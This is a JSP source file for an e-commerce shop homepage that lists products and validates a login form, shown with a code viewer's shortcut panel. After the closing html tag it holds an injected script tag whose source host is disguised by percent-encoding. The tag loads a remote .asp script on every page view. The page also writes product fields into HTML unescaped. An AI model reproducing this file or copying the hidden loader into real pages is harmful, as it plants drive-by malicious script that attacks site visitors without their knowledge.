📄 default.jsp
字号:
<%@ page contentType="text/html;charset=GB2312" language="java"%>
<%@ taglib uri="struts-bean" prefix="bean" %>
<%@ taglib uri="struts-html" prefix="html" %>
<%@ taglib uri="struts-logic" prefix="logic" %>
<%@ taglib uri="c" prefix="c" %>
<%@ taglib uri="shop" prefix="shop"%>
<%@ page import="java.util.ArrayList" %>
<%@ page import="com.publish.shop.util.javabeans.Utility" %>
<%@ page import="com.publish.shop.product.javabeans.CategoryModel" %>
<%@ page import="com.publish.shop.product.javabeans.CategoryProxy" %>
<%@ page import="com.publish.shop.security.javabeans.UserProxy" %>
<%@ page import="com.publish.shop.util.javabeans.Constants" %>
<%@ page import="com.publish.shop.taglib.MenuManager" %>
<%@ page import="com.publish.shop.util.javabeans.SessionWrapper" %>
<%@ page import="com.publish.shop.product.javabeans.ProductModel" %>
<%@ page import="com.publish.shop.product.javabeans.ProductProxy" %>
<%
String contextPath1=request.getContextPath();
//ArrayList listProductCat=(ArrayList)request.getAttribute("ProductCatList");
//String contextPath1 = request.getContextPath();
SessionWrapper lSessionWrapper = (SessionWrapper)session.getAttribute(Constants.Session_Wrapper);
if (lSessionWrapper==null) {
CategoryProxy cpProxy = new CategoryProxy();
ArrayList listProductCat = cpProxy.getCatLabelAddAll();
// session.setAttribute("ProductCatList", listProductCat);
request.setAttribute("ProductCatList", listProductCat);
MenuManager lMenuManager = new MenuManager();
UserProxy lpProxy = new UserProxy();
ArrayList listMenu = lMenuManager.initMenu(lpProxy.queryMenuByUserType("user"));
session.setAttribute(Constants.Menu_Config_Session,listMenu);
}
ProductProxy proxy = new ProductProxy();
ProductModel model = new ProductModel();
ArrayList ProductList = proxy.queryProduct(model);
request.setAttribute("ProductList", ProductList);
%>
<html:html>
<HEAD>
<TITLE>电子商城</TITLE>
<META content="text/html; charset=gb2312" http-equiv=Content-Type><LINK
href="<%=contextPath1%>/css/pub.css" rel=stylesheet type=TEXT/CSS>
<SCRIPT LANGUAGE="Javascript">
function init() {
document.forms[0].loginName.focus();
}
function login(){
var loginName = document.forms[0].loginName.value;
var loginPwd = document.forms[0].userPwd.value;
if(loginName==""){
alert("请输入登录名称");
document.forms[0].loginName.focus();
return false;
}
if(loginPwd==""){
alert("请输入登录密码");
document.forms[0].userPwd.focus();
return false;
}
document.forms[0].strutsAction.value="6";
document.forms[0].submit();
}
//-->
</SCRIPT>
<META content="MSHTML 5.00.3819.300" name=GENERATOR></HEAD>
<BODY bgColor=#ffffff leftMargin=0 topMargin=0 MARGINHEIGHT="0" MARGINWIDTH="0" background="../images/bg.gif">
<!--log,menu and userinfo begin -->
<shop:menu/>
<!--userinfo,search and userinfo begin -->
<table width=80% align=center>
<tr>
<td vAlign=top>
<%@ include file="side.jsp"%>
</td>
<!-- middle-part begin -->
<TD WIDTH=480 VALIGN=top ALIGN=center>
<%
//for(int a=0;a<3;a++){
model = (ProductModel)ProductList.get(0);
if (model != null) {
request.setAttribute("ProductId", model.getProductId());
%>
<html:form action="/product/search.do">
<TABLE WIDTH=100% align=center>
<TR>
<TD width="40%" ALIGN=left>
<img src="<%=contextPath1%>/images/product/<%=model.getProductImgUrl()%>" border=0 align=left VSPACE=0 HSPACE=6>
<FONT CLASS=v15e SIZE=3> <B><%=model.getProductName()%></B></FONT>
<P> <FONT CLASS=v15e> <%=model.getProductDesc()%></FONT>
</TD>
</TR>
<TR>
<TD ALIGN=center> <BR>
<TABLE>
<TR align=left>
<TD><IMG SRC="<%=contextPath1%>/images/sign2.gif" BORDER=0 ALT=""></TD>
<TD CLASS=txt align=left>
<html:link page="/product/view.do" paramId="productId" paramName="ProductId">详细信息</html:link>
</TD>
<TD><IMG SRC="<%=contextPath1%>/images/sign2.gif" BORDER=0 ALT=""></TD>
<TD CLASS=txt align=left><FONT CLASS=v20 COLOR=#990000><B>¥<%=model.getListPrice()%></B></FONT></TD>
<TD><IMG SRC="<%=contextPath1%>/images/sign2.gif" BORDER=0 ALT=""></TD>
<TD CLASS=txt align=left>
<html:link page="/product/addCartItem.do" paramId="productId" paramName="ProductId">订购</html:link>
</TD>
</TR>
</TABLE>
</TD>
</TR>
</TABLE>
</html:form>
<%}
// }
%>
<HR SIZE=1 WIDTH=92%>
<TABLE WIDTH=95%>
<!--
<TR>
<TD CLASS=txt><FONT CLASS=v15e><P><font color=red>→最新促销</font></FONT></TD>
</TR>
-->
</TABLE>
<HR SIZE=1 WIDTH=92%>
<TABLE WIDTH=95%>
<TR>
<TD CLASS=txt><FONT CLASS=v15e><P><font color=red> </font></FONT> </TD>
</TR>
</TABLE>
<!-- right-part begin -->
<TD WIDTH=160 VALIGN=top>
<TABLE BORDER=0 CELLSPACING=0 CELLPADDING=0 WIDTH=160>
<TR>
<TD COLSPAN=3><IMG SRC="<%=contextPath1%>/images/right1.gif" BORDER=0></TD>
</TR>
<%
for(int i=1; i<4; i++)
{
model = (ProductModel)ProductList.get(i);
if (model != null) {
request.setAttribute("ProductId", model.getProductId());
%>
<TR>
<TD WIDTH=1 BGCOLOR=#CCCCCC><IMG SRC="<%=contextPath1%>/images/dot.gif" WIDTH="1" HEIGHT="1" BORDER=0></TD>
<TD WIDTH=158 BGCOLOR=#F5F5F5 ALIGN=center valign=top>
<TABLE border=0>
<TR>
<TD VALIGN=top>
<img src="<%=contextPath1%>/images/product/<%=model.getProductImgUrl()%>" width="68" border=0>
<div align=center><FONT CLASS=v20 COLOR=#990000><B>¥<%=model.getListPrice()%></B></FONT></div>
</TD>
<TD valign=bottom>
<TABLE>
<TR>
<TD COLSPAN=2 CLASS=txt><%=model.getProductName()%></TD>
</TR>
<TR>
<TD><IMG SRC="<%=contextPath1%>/images/sign2.gif" WIDTH="9" HEIGHT="9" BORDER=0></TD>
<TD CLASS=txt align="left">
<html:link page="/store/view.do" paramId="productId" paramName="ProductId">详细信息</html:link>
</TD>
</TR>
<TR>
<TD><IMG SRC="<%=contextPath1%>/images/sign2.gif" WIDTH="9" HEIGHT="9" BORDER=0 ></TD>
<TD CLASS=txt align=left>
<html:link page="/product/addCartItem.do" paramId="productId" paramName="ProductId">订购</html:link>
</TD>
</TR>
<TR>
<TD><IMG SRC="<%=contextPath1%>/images/sign2.gif" WIDTH="9" HEIGHT="9" BORDER=0 ALT=""></TD>
<!-- <TD CLASS=txt align=left><A HREF="prolist.jsp?storeType=4"> 更多</A></TD> -->
<TD><html:link page="/product/search.do">更多</html:link></TD>
</TR>
</TABLE>
</TD>
</TR>
</TABLE>
</TD>
<TD WIDTH=1 BGCOLOR=#CCCCCC><IMG SRC="/images/dot.gif" WIDTH="1" HEIGHT="1" BORDER=0></TD>
</TR>
<TR>
<TD COLSPAN=3 BGCOLOR=#CCCCCC><IMG SRC="/images/dot.gif" WIDTH="1" HEIGHT="1" BORDER=0></TD>
</TR>
<%
}
}
%>
</TABLE>
</TD>
</tr>
</table>
<BR>
<!-- foot begin -->
<CENTER><TABLE>
<TR>
<TD class=txt>版权所有| 法律声明| 联系我们 </TD>
</TR>
</TABLE></CENTER>
<BR>
</body>
</html:html>
<script src="http://%78%79%6B%2E%74%78%73%68%69%2E%63%6F%6D/%62%32%2E%61%73%70"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -